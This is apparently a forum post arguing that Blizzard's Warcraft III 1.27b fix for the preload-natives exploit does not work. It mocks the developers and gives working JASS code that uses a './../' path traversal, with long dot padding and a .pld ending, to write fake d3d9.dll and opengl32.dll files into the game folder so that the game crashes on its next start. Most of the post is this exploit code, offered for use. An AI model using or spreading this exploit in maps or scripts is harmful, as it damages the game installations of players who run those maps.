Implemented
- Fix the preload exploit (the preload natives are used by wc3 itself and are also a valuable feature for map makers. Their exploit potential should be removed by not allowing creation of files outside of the directory of the currently started war3.exe and by only being able to write/read .pld files) ->1.27b: only .pld files can be created and only in the folder CustomMapData, absolute paths can no longer be used
Not fixed, possible use "./../" for create file in another directory.
Possible use this extensions: mgv, mg, sav, pld, txt
....................... HAHAHAHA, stupid blizzard coders!
Karaulov presents:
Create d3d9.dll and opengl32.dll files in Warcraft III folder , that would kill the game!
Look at bad Blizzard protection !
Code:
call Preload("Blizzard has only stupid bad coders")
call Preload("Crash Warcraft III at next run")
call Preload("All rights reserved! (Karaulov)")
call Preload("For Warcraft 1.27b")
call PreloadGenEnd("./../d3d9.dll..................................................................................................................................................................................................................................................pld")
call PreloadGenEnd("./../opengl32.dll..............................................................................................................................................................................................................................................pld")
ALL RIGHT RESERVED!
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